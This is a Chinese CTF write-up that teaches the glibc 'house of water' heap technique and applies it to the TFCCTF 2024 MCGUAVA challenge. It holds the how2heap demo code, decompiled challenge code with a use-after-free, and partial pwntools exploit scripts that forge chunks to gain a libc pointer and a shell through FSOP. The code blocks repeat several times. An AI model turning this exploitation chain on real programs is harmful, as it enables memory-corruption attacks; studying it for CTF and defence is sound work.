-
-
[原创]house of water & TFCCTF 2024 MCGUAVA
-
发表于: 2024-8-6 13:25 7961
-
早就听 Csome 学长说过有种打法叫 house of water,但是当时没去看,时间久了就忘记这个东西了,现在记起来了就来学习一下。由于笔者的水平有限,文章不免会出现许多错误,希望各位师傅能过包容以及指正。这篇文章的程序的测试环境为 ubuntu 22.04.3 TLS。
这个打法由国际战队 blue water 提出的,下面来看看该团队对这个打法的描述:
House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache
metadata control primitive, with the added benefit of obtaining a free libc pointer in the
t-cache metadata as well.
NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will
contain 4 bits of randomness. If you can increment integers, no brutefore is required.
By setting the count of t-cache entries 0x3e0 and 0x3f0 to 1, a "fake" heap chunk header of
size "0x10001" is created.
This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked
address entries, enabling the creation of a fully functional fake unsorted-bin entry.
The correct size should be set for the chunk, and the next chunk's prev-in-use bit
must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values
should be written.
Finally, due to the behavior of allocations from unsorted-bins, once t-cache metadata control
is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer
to be ready for allocation as well.
Technique / house by @udp_ctf - Water Paddler / Blue Water
相信大多数人都没看懂(感觉是我理解力有待提高),不过不用着急,接下来我会进行比较详细的讲解。
该打法的利用前置条件如下:
程序存在UAF漏洞
程序可以申请住够大的堆块
这里需要注意的是,完成该打法不需要泄露任何内存地址且不需要任何堆上的溢出
最终的效果是能够在 tcache 的链表上留下 libc 的相关地址,并将其申请出来,效果如下:
当程序开始运行并遇到它的第一个 malloc 时,堆(main arena)将被初始化。默认情况下(libc 2.31+),将分配 0x290 的内存大小来存储 tcache_perthread_struct 结构体,该结构体存储各个不同 size 的 tcache 链表的 chunk 的个数以及最后进入链表的 chunk 的 data 区域地址。 该结构体的源码如下:
我们最终的目的是在这个结构体中的 entries 区域留下 libc 的相关地址,进而让我们能够申请 libc 上的内存
这里我们选用 how2heap 中的 house of water 这个例子来解释,这里我做了一些简单的修改,把一些英文段落进行了删除,只留下程序执行代码
因为在编译阶段我们使用了“-g”参数,可以使用gdb在任意行下断点 b + 行号
接下来对这段 demo 进行调试
将断点下到第 18 行,此时程序完成的操作如下:
申请了 2 个堆块,size 分别为 0x3e0 和 0x3f0,紧接着将其释放掉
我们来看看此时的 tcache_perthread_struct 结构体:
可以看到第二个框框的地方的地址就是我们刚才释放的 2 个堆块地址,而第一个框框则是 size 为 0x3e0 和 0x3f0 对应的 tcache 链表 chunk 的个数,然而这个 heapbase+0x88 这个 0x10001 可以作为我们fake chunk 的size,如果我们将这个地方作为 fake chunk 并放入 unsorted bin(后面称这个 chunk 为 fake unsorted chunk),我们就能够在 tcache_perthread_struct 结构体上踩上 libc 的地址。
接下来将断点下到第 0x38 行,这期间做的都是堆块申请工作:
连续申请了 7 个 0x90 大小的 chunk,然后交替申请 0x90 和 0x20 大小的 chunk。我们最终希望最后申请的 3 个 0x90 大小的chunk 可以进入 unsorted bin,所以每 2 个 chunk 之间都申请一个小堆块来防止他们合并。这里将要进入 unsorted bin 的三个 chunk 分别命名为:unsorted_start、unsorted_middle、unsorted_end。很好理解吧,开始、中间、结束
最后还申请了一个特别大的 chunk,size 为 0xf0010,后面紧接着一个 size 为 0x20 的小 chunk
接着将断点下到第 41 行,这里在最后那个 size 为 0x20 的 chunk 的 fd 位置写上 0x1000,在 bk 位置写上 0x20。
这样做是为了绕过 unsorted bin的检测。我们回到最初的 fake unsorted chunk 的位置,其起始地址为0x555555559080
我们需要让这个 chunk 在 unsorted bin 中合法,我们就需要在让这样 fake unsorted chunk 在结束的时候的下个 chunk 的 prev_size 为 0x10000,且 size 的 issue 位为 0(因为 unsorted bin 中的堆块都是已经释放过的未使用的)
接下来就是对这个 fake unsorted chunk 进行装修
将断点下在第 57 行,此时 bin 的结构如下:
期间做的操作就是将最开始申请的 7 个 0x90 大小的 chunk 给释放掉(将 size 为 0x90 大小的 tcache 链表给填满,确保后面三个 0x90 大小的堆块给释放后能够进入到 unsorted bin),然后在 unsorted_start 和 unsorted_end 上方分别伪造一个小堆块然后释放掉,这里主要讲解一下堆块的伪造
对于 unsorted_start 上方堆块的伪造,我们直接在 unsorted_start-0x8 的地方填上 0x31 来当作 fake chunk 的 size 然后直接释放(这个 size 是有讲究的,后面会解释到),unstorted_end 的做法也类似,不过 fake chunk 的大小为 0x20。在将 fake chunk 给释放后由于堆块进入 tcache 链表后 fd+8 的地方会填上一个 key,这个 key 的作用是用来检测 tcache 上是否出现 double free,这个 key 的存在破坏了原先 unsorted_start 和 unsorted_end 这 2 个堆块的 size 位,所以我们要给予恢复,第 50 和 第 56 行的代码的作用就是如此。
那么伪造 2 个 fake chunk 然后 释放掉有什么意义呢?
我们回到前面,前面说过接下来的操作是为了对要进入 unsorted bin 的 fake unsorted chunk 进行装修,而 unsorted bin 是存在 fd 和 bk 指针的,此时再来看看我们的 fake unsorted chunk
可以看到 fake chunk 的 fd 和 bk 已经留下我们前面 2 个释放的 fake chunk 的 data 区域地址,同时这个 2 地址
也分别是 unsorted_end 和 unsorted_start 这 2 个堆块的地址,这是因为 0x555555559090 这个地址为 tcache_perthread_struct 结构体 entries 链表的起始地址,存放的是最后进入 0x20 大小的 tcache 链表的堆块的地址,而我们最后释放的 2 个 fake chunk 大小分别为 0x20 和 0x30。
我们将断点下到第 63 行,期间进行的操作为:依次释放 unsorted_end、unsorted_middle、unsorted_start。bin 的结构如下:
接下来我们的操作是要让我们一开始在 tcache_perthread_struct 中伪造的堆块链入 unsorted bin,这里的操作是将 unsorted_middle 给替换为 fake chunk。回到我们 fake chunk 的那张图片,我们可以看到 fake chunk 的fd 指针已经指向 unsorted_end,bk 指针已经指向 unsorted_start,所以接下来的操作就是令 unsorted_start 的 fd 指针指向 fake unsorted chunk,unsorted_end 的 bk 指针指向 fake unsorted chunk 即可完成 unsorted bin 上堆块替换操作
将断点下在第 67 行,期间的操作就是进行上述的指针替换操作,最后的 bin 结构如下:
可以看到已经成功将 unsorted_middle 给替换为 fake chunk。
接下来就是要让 fake unsorted chunk 的 fd 指针和 bk 指针出现 libc 的地址,当我们申请一个 chunk 的size 小于 0x10000 且无对应 size 的 chunk 在tcache 和其他 bin 中时,会先对 unsroted bin 进行遍历,然后 unsorted_end 和 unsorted_start 送入 smallbin 中,将 fake chunk 送入 largebin 中,此时 fake chunk 的 fd 和 bk 指针指向 libc 的相关地址,此时再在 fake unsorted chunk 中切割出合适大小的堆块进行分配。how2heap 的代码中选择申请的堆块大小为 0x290,其实申请的大小满足我上面所说的条件即可。
将断点下到 70 行,此时已经完成了堆块的申请,查看 tcache_perthread_struct 结构体和 bin 的结构:
已经给踩上 libc 上的地址⬆️
此时我们可以进行 libc 上内存的分配,这也是 house of water 的所有内容,后续的攻击就看每个人的需求了。
可以看到 house of water 能够在没有内存泄露的情况下在 tcache 链上留下 libc 的相关地址。在修改 unsorted_start 和 unsroted_end 的指针使 fake unsorted chunk 链入unosorted chunk 的这步中我们需要进行一步小爆破,因为我们每次修改不能只覆盖地址的低3位,而是低4位,在开启了 alsr 的环境下从第 4 位开始的地址都是随机的。
我认为 house of water 攻击的关键是伪造并释放那 2 个大小分别为 0x20 和 0x30 的堆块,想了想这个伪造在 pwn 题中并不简单。
希望读者能够自己调试一遍 how2heap 里面的代码,相信你们一定会有新的收获。
这道题目需要用到 house of water,当时好像有 7 解了,可是我还没做出来,太菜了
当时的想法是让同一个 chunk 同时进入 unsortedbin 和 smallbin 以此来留下 libc 的地址,可是搞了半天什么都没搞出来,不知道有没有师傅是用这种方法做出来的
题目可以从 r3kapig 战队的比赛题库中找到:TFC CTF 2024(Jeopardy) (notion.site)
这题附件里给的 dockerfile 里写的远程环境为 ubuntu:24.10,我寻思着这不也才 8 月嘛,怎么都有 10 了
这里我做了个小偷懒,libc 我用了本地的 2.35,不过大差不差,最终思路还是一样的,也就一个偏移不同而已
由于题目代码量比较少,这里就直接贴上来
这是一个很典型的菜单程序,实现了堆块的申请和释放功能,没有编辑和和打印功能。漏洞十分的明显,就是 gius 在释放堆块后并没有将相应的指针置 0,这里存在 UAF 漏洞。程序最多可以申请 0x100 个堆块,每个堆块最大为 0x1791,这不摆明着让我们使用 house of water 进行攻击嘛?
这里先贴上我的交互脚本:
现在我们的整理思路是利用 house of water 实现 stdout 上的内存分配,然后通过 stdout 泄露出 libc 的地址,最后通过伪造 io file 来 getshell。
既然上面说到 house of water 的关键是伪造 unsorted_start 和 unsroted_end 上方的2个小堆块,这里就先进行这一步,已经 unsorted_start 为例
因为我们的小 fake chunk 和 unsorted_start 最终都是要给 free 掉的,所以我们要先获得他的索引,这里我使用的是堆块切割法,通过让一个巨大的堆块进入 unsorted bin,然后按照一定的大小申请 2 个堆块出来获取索引,然后再将申请出来的堆块释放掉,使其再次和合并进入 unsorted bin,相关代码如下:
这里我一共申请了 4 个大堆块,其中第 4 个堆块是用于防止 unsorted bin 与 top chunk 进行合并。可能有人会问为什么我要申请这么大的堆块来防止合并,其实我是为了减少对 tcache 的影响,因为 house of water 后的攻击将会在 tcache_perthread_struct 中进行,所以我尽可能的让更少的 chunk 进入 tcache。这里进行了 fake 0x30 和 unsorted_start 2 个堆块索引的获取,并将 fake 0x30 释放掉进入 tcache
这里我们将上面代码进行修改如下:
这里释放了我们 unsorted_start,此时 bin 的结构如下:
可以看到 0x30 的 tcache 和 unsorted bin 指向的是同一块区域,说明我们伪造成功
对于 unsorted_end 上方 fake chunk 的伪造原理相同,只不过这里的 fake chunk 大小为 0x20,代码如下:
接下来需要获取 unsorted_middle 这个堆块的索引,因为这个堆块不需要在上方伪造 fake chunk,所以索引比较容易获得,直接申请即可:
第二个堆块同样是为了防止合并
后面依然进行简单的操作,在 tcache_perthread_struct 上进行 fake unsorted chunk 的伪造,这部也比较简单,已经成为模板化的东西了,申请 2 个 size 分别为 0x3f0 和 0x3e0 的堆块然后直接释放掉即可
效果如下:
这一步主要是因为程序没有编辑功能,当我们将 unsorted_end、unsorted_middle、unsorted_start 释放进 unsorted bin 时我们就无法修改 unsorted_start 和 unsorted_end 的指针。
这里我还是使用堆块切割是思想,相关代码如下:
这里用于修改 unsorted_start 和 unsorted_end 的堆块我选择的大小为 0x340 和 0x350,因为这个 2 个大小的堆块个释放后是直接进入 tcache,对后面 unsorted bin 中存储的 unsorted_end、unsorted_middle、unsorted_start 影响比较小
但由于这个操作改变了原来 unsorted_end、unsorted_start 的 size位
所以我们需要用我们刚获取的 tcache 堆块来对 unsorted_end、unsorted_start 的 size 位进行恢复
因为我们的 fake unsorted chunk 最终进入到 unsorted bin 中,unsorted bin 会检测这个堆块的合法性,会检测 fake unosrted chunk 的 next chunk 的prev_size 和 size,伪造代码如下:
注意这里 next chunk 的 issue 位要为 0,因为 unsorted bin 上的堆块都是没有给使用的
接下来就是愉快的一条龙服务,依次释放 unsorted_end、unsorted_middle、unsorted_start 进入 unsorted bin,然后分别修改 unsorted_start 和 unsorted_end 的 fd 和 bk 指针将 fake unsorted chunk 链入 unsorted bin 中
这里我提前申请了 2 个 chunk,大小分别为 0x240 和 0x250,这 2 个堆块在后续的攻击中会用到。在修改 fd 和 bk指针中我们需要爆破地址的第 4 位,概率为 1/16,我这里选择爆破的是 heapbase 的第 4 位为 0,成功后的效果如下:
可以看到 fake unsorted chunk 已经进入到 unsorted bin 中,现在我们来梳理一下目前的状况:
目前 unsorted bin 中有 3 个堆块,两侧的 unsorted_end、unsorted_start 大小为 0x510,中间的 fake unsorted chunk 的大小为 0x10001,两侧的堆块十分的碍事,所以我们将其申请出来
此时 fake unsorted chunk 已经进入到 largebin 中,并在 tcache 上踩下 libc 的地址
现在我们的思路就非常的明确了,我的做法是先申请一个 0x110 大小的堆块
此时 largebin 的 fd 指针所在的位置正好是 tcache_perthread_struct 上 0x240 大小 tcache 最后一个 chunk 的存储地址,此时已经给踩上了 libc 的地址
然后再将该地址申请出来,将地址的低 3 位改为 stdout 地址的低 3 位,爆破第 4 位,用 tcache 分配堆块到 stdout 上进而泄露出 libc 的地址,这里的爆破成功率也为 1/16
获取 libc 地址后我们可以吧刚才申请在 tcache_perthread_struct 上的堆块释放掉再重新申请回来,然后在 tcache_perthread_struct 上存储 0x250 大小 tcache 最后一个 chunk 的地方写上 IO_2_1_stderr 的地址,并申请 0x250 大小的堆块在 IO_2_1_stderr 上写上 fake file
最后让程序通过 exit 函数退出即可执行我们的 fsop 攻击
下面给出完整 exp,exp 写的比较乱且注释上对堆块的标号有点不太准确,请师傅们多多包容
由于需要分别在 heapbase 和 stdout 上进行一次爆破,所以脚本执行的成功率为 1/256,运行后还要等半天
打通,完结散花
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef
struct
tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef
struct
tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
// Ubuntu 22.04.3 LTS
// gcc -g house_of_water.c -o test
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main(
void
) {
void
*_ = NULL;
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
setbuf
(stderr, NULL);
void
*fake_size_lsb =
malloc
(0x3d8);
void
*fake_size_msb =
malloc
(0x3e8);
free
(fake_size_lsb);
free
(fake_size_msb);
void
*metadata = (
void
*)((
long
)(fake_size_lsb) & ~(0xfff));
void
*x[7];
for
(
int
i = 0; i < 7; i++) {
x[i] =
malloc
(0x88);
}
void
*unsorted_start =
malloc
(0x88);
_ =
malloc
(0x18);
// Guard chunk
void
*unsorted_middle =
malloc
(0x88);
_ =
malloc
(0x18);
// Guard chunk
void
*unsorted_end =
malloc
(0x88);
_ =
malloc
(0x18);
// Guard chunk
_ =
malloc
(0xf000);
// Padding
void
*end_of_fake =
malloc
(0x18);
// Metadata chunk
*(
long
*)end_of_fake = 0x10000;
*(
long
*)(end_of_fake+0x8) = 0x20;
for
(
int
i = 0; i < 7; i++) {
free
(x[i]);
}
*(
long
*)(unsorted_start-0x18) = 0x31;
free
(unsorted_start-0x10);
// Create a fake FWD
*(
long
*)(unsorted_start-0x8) = 0x91;
*(
long
*)(unsorted_end-0x18) = 0x21;
free
(unsorted_end-0x10);
// Create a fake BCK
*(
long
*)(unsorted_end-0x8) = 0x91;
free
(unsorted_end);
free
(unsorted_middle);
free
(unsorted_start);
*(unsigned
long
*)unsorted_start = (unsigned
long
)(metadata+0x80);
*(unsigned
long
*)(unsorted_end+0x8) = (unsigned
long
)(metadata+0x80);
// Next allocation *could* be our faked chunk!
void
*meta_chunk =
malloc
(0x288);
assert
(meta_chunk == (metadata+0x90));
}
// Ubuntu 22.04.3 LTS
// gcc -g house_of_water.c -o test
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main(
void
) {
void
*_ = NULL;
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
setbuf
(stderr, NULL);
void
*fake_size_lsb =
malloc
(0x3d8);
void
*fake_size_msb =
malloc
(0x3e8);
free
(fake_size_lsb);
free
(fake_size_msb);
void
*metadata = (
void
*)((
long
)(fake_size_lsb) & ~(0xfff));
void
*x[7];
for
(
int
i = 0; i < 7; i++) {
x[i] =
malloc
(0x88);
}
void
*unsorted_start =
malloc
(0x88);
_ =
malloc
(0x18);
// Guard chunk
void
*unsorted_middle =
malloc
(0x88);
_ =
malloc
(0x18);
// Guard chunk
void
*unsorted_end =
malloc
(0x88);
_ =
malloc
(0x18);
// Guard chunk
_ =
malloc
(0xf000);
// Padding
void
*end_of_fake =
malloc
(0x18);
// Metadata chunk
*(
long
*)end_of_fake = 0x10000;
*(
long
*)(end_of_fake+0x8) = 0x20;
for
(
int
i = 0; i < 7; i++) {
free
(x[i]);
}
*(
long
*)(unsorted_start-0x18) = 0x31;
free
(unsorted_start-0x10);
// Create a fake FWD
*(
long
*)(unsorted_start-0x8) = 0x91;
*(
long
*)(unsorted_end-0x18) = 0x21;
free
(unsorted_end-0x10);
// Create a fake BCK
*(
long
*)(unsorted_end-0x8) = 0x91;
free
(unsorted_end);
free
(unsorted_middle);
free
(unsorted_start);
*(unsigned
long
*)unsorted_start = (unsigned
long
)(metadata+0x80);
*(unsigned
long
*)(unsorted_end+0x8) = (unsigned
long
)(metadata+0x80);
// Next allocation *could* be our faked chunk!
void
*meta_chunk =
malloc
(0x288);
assert
(meta_chunk == (metadata+0x90));
}
int
__cdecl __noreturn main(
int
argc,
const
char
**argv,
const
char
**envp)
{
int
v3;
// [rsp+0h] [rbp-10h] BYREF
int
i;
// [rsp+4h] [rbp-Ch]
unsigned
__int64
v5;
// [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf
(stdin, 0LL, 2, 0LL);
setvbuf
(_bss_start, 0LL, 2, 0LL);
setvbuf
(stderr, 0LL, 2, 0LL);
for
( i = 0; i <= 255; ++i )
guava_gius[i] = 0LL;
banner();
while
( 1 )
{
menu();
__isoc99_scanf(
"%d"
, &v3);
if
( v3 == 3 )
exit
(0);
if
( v3 > 3 )
{
LABEL_13:
puts
(
"invalid choice"
);
}
else
if
( v3 == 1 )
{
guava();
}
else
{
if
( v3 != 2 )
goto
LABEL_13;
gius();
}
}
}
int
__cdecl __noreturn main(
int
argc,
const
char
**argv,
const
char
**envp)
{
int
v3;
// [rsp+0h] [rbp-10h] BYREF
int
i;
// [rsp+4h] [rbp-Ch]
unsigned
__int64
v5;
// [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf
(stdin, 0LL, 2, 0LL);
setvbuf
(_bss_start, 0LL, 2, 0LL);
setvbuf
(stderr, 0LL, 2, 0LL);
for
( i = 0; i <= 255; ++i )
guava_gius[i] = 0LL;
banner();
while
( 1 )
{
menu();
__isoc99_scanf(
"%d"
, &v3);
if
( v3 == 3 )
exit
(0);
if
( v3 > 3 )
{
LABEL_13:
puts
(
"invalid choice"
);
}
else
if
( v3 == 1 )
{
guava();
}
else
{
if
( v3 != 2 )
goto
LABEL_13;
gius();
}
}
}
unsigned
__int64
guava()
{
int
v0;
// eax
int
v2;
// [rsp+8h] [rbp-18h] BYREF
int
v3;
// [rsp+Ch] [rbp-14h] BYREF
char
*v4;
// [rsp+10h] [rbp-10h]
unsigned
__int64
v5;
// [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
if
( cnt_guavas > 255 )
{
puts
(
"guava overload"
);
exit
(0);
}
printf
(
"how many guavas: "
);
__isoc99_scanf(
"%d"
, &v2);
if
( v2 > 1791 )
{
puts
(
"guava overload"
);
exit
(0);
}
v4 = (
char
*)
malloc
(v2);
printf
(
"guavset: "
);
__isoc99_scanf(
"%d"
, &v3);
if
( v3 < 0 || v2 - 2 <= v3 )
{
puts
(
"guava overload"
);
exit
(0);
}
printf
(
"guavas: "
);
read(0, &v4[v3], v2 - v3);
v0 = cnt_guavas++;
guava_gius[v0] = v4;
return
v5 - __readfsqword(0x28u);
}
unsigned
__int64
guava()
{
int
v0;
// eax
int
v2;
// [rsp+8h] [rbp-18h] BYREF
int
v3;
// [rsp+Ch] [rbp-14h] BYREF
char
*v4;
// [rsp+10h] [rbp-10h]
unsigned
__int64
v5;
// [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
if
( cnt_guavas > 255 )
{
puts
(
"guava overload"
);
exit
(0);
}
printf
(
"how many guavas: "
);
__isoc99_scanf(
"%d"
, &v2);
if
( v2 > 1791 )
{
puts
(
"guava overload"
);
exit
(0);
}
v4 = (
char
*)
malloc
(v2);
printf
(
"guavset: "
);
__isoc99_scanf(
"%d"
, &v3);
if
( v3 < 0 || v2 - 2 <= v3 )
{
puts
(
"guava overload"
);
exit
(0);
}
printf
(
"guavas: "
);
read(0, &v4[v3], v2 - v3);
v0 = cnt_guavas++;
guava_gius[v0] = v4;
return
v5 - __readfsqword(0x28u);
}
unsigned
__int64
gius()
{
unsigned
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf
(
"guava no: "
);
__isoc99_scanf(
"%d"
, &v1);
if
( v1 >= 0x100 )
{
puts
(
"guava overload"
);
exit
(0);
}
free
((
void
*)guava_gius[v1]);
return
v2 - __readfsqword(0x28u);
}
unsigned
__int64
gius()
{
unsigned
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf
(
"guava no: "
);
__isoc99_scanf(
"%d"
, &v1);
if
( v1 >= 0x100 )
{
puts
(
"guava overload"
);
exit
(0);
}
free
((
void
*)guava_gius[v1]);
return
v2 - __readfsqword(0x28u);
}
def
meau(index):
p.recvuntil(
'*>'
,timeout
=
1
)
p.sendline(
str
(index))
def
add(size,index
=
0
,content
=
b
'a'
):
meau(
1
)
p.recvuntil(
'how many guavas:'
)
p.sendline(
str
(size))
p.recvuntil(
'guavset:'
,timeout
=
1
)
p.sendline(
str
(index))
p.recvuntil(
'guavas:'
)
p.send(content)
def
free(index):
meau(
2
)
p.recvuntil(
'guava no:'
)
p.sendline(
str
(index))
def
meau(index):
p.recvuntil(
'*>'
,timeout
=
1
)
p.sendline(
str
(index))
def
add(size,index
=
0
,content
=
b
'a'
):
meau(
1
)
p.recvuntil(
'how many guavas:'
)
p.sendline(
str
(size))
p.recvuntil(
'guavset:'
,timeout
=
1
)
p.sendline(
str
(index))
p.recvuntil(
'guavas:'
)
p.send(content)
def
free(index):
meau(
2
)
p.recvuntil(
'guava no:'
)
p.sendline(
str
(index))
add(
0x600
)
# 7
add(
0x600
)
# 8 fake 0x30
add(
0x600
)
# 9
add(
0x500
)
# 10
free(
7
)
free(
8
)
free(
9
)
add(
0x610
)
# 11
add(
0x500
)
# 12 unsorted_start
free(
11
)
free(
12
)
add(
0x610
,
0x608
,p64(
0x31
))
# 13
free(
13
)
free(
8
)
add(
0x610
)
# 14
add(
0x500
)
# 15 unsorted_start
add(
0x6e0
)
# 16
add(
0x600
)
# 7
add(
0x600
)
# 8 fake 0x30
add(
0x600
)
# 9
add(
0x500
)
# 10
free(
7
)
free(
8
)
free(
9
)
add(
0x610
)
# 11
add(
0x500
)
# 12 unsorted_start
free(
11
)
free(
12
)
add(
0x610
,
0x608
,p64(
0x31
))
# 13
free(
13
)
free(
8
)
add(
0x610
)
# 14
add(
0x500
)
# 15 unsorted_start
add(
0x6e0
)
# 16
add(
0x600
)
# 7
add(
0x600
)
# 8 fake 0x30
add(
0x600
)
# 9
add(
0x500
)
# 10
free(
7
)
free(
8
)
free(
9
)
add(
0x610
)
# 11
add(
0x500
)
# 12 unsorted_start
free(
11
)
free(
12
)
add(
0x610
,
0x608
,p64(
0x31
))
# 13
free(
13
)
free(
8
)
add(
0x610
)
# 14
add(
0x500
)
# 15 unsorted_start
add(
0x6e0
)
# 16
free(
15
)
# free unsorted_start
add(
0x600
)
# 7
add(
0x600
)
# 8 fake 0x30
add(
0x600
)
# 9
add(
0x500
)
# 10
free(
7
)
free(
8
)
free(
9
)
add(
0x610
)
# 11
add(
0x500
)
# 12 unsorted_start
free(
11
)
free(
12
)
add(
0x610
,
0x608
,p64(
0x31
))
# 13
free(
13
)
free(
8
)
add(
0x610
)
# 14
add(
0x500
)
# 15 unsorted_start
add(
0x6e0
)
# 16
free(
15
)
# free unsorted_start
add(
0x600
)
# 17
add(
0x600
)
# 18 fake 0x20
add(
0x600
)
# 19
add(
0x500
)
# 20
free(
17
)
free(
18
)
free(
19
)
add(
0x610
)
# 21
add(
0x500
)
# 22 unsorted_end
free(
21
)
free(
22
)
add(
0x610
,
0x608
,p64(
0x21
))
# 23
free(
23
)
free(
18
)
add(
0x610
)
# 24
add(
0x500
)
# 25 unsorted_end
add(
0x6e0
)
# 26
add(
0x600
)
# 17
add(
0x600
)
# 18 fake 0x20
add(
0x600
)
# 19
add(
0x500
)
# 20
free(
17
)
free(
18
)
free(
19
)
add(
0x610
)
# 21
add(
0x500
)
# 22 unsorted_end
free(
21
)
free(
22
)
add(
0x610
,
0x608
,p64(
0x21
))
# 23
free(
23
)
free(
18
)
add(
0x610
)
# 24
add(
0x500
)
# 25 unsorted_end
add(
0x6e0
)
# 26
add(
0x500
)
# 27 unsorted_middle
add(
0x600
)
# 28
add(
0x500
)
# 27 unsorted_middle
add(
0x600
)
# 28
add(
0x3e8
)
# 29
add(
0x3d8
)
# 30
free(
29
)
free(
30
)
add(
0x3e8
)
# 29
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!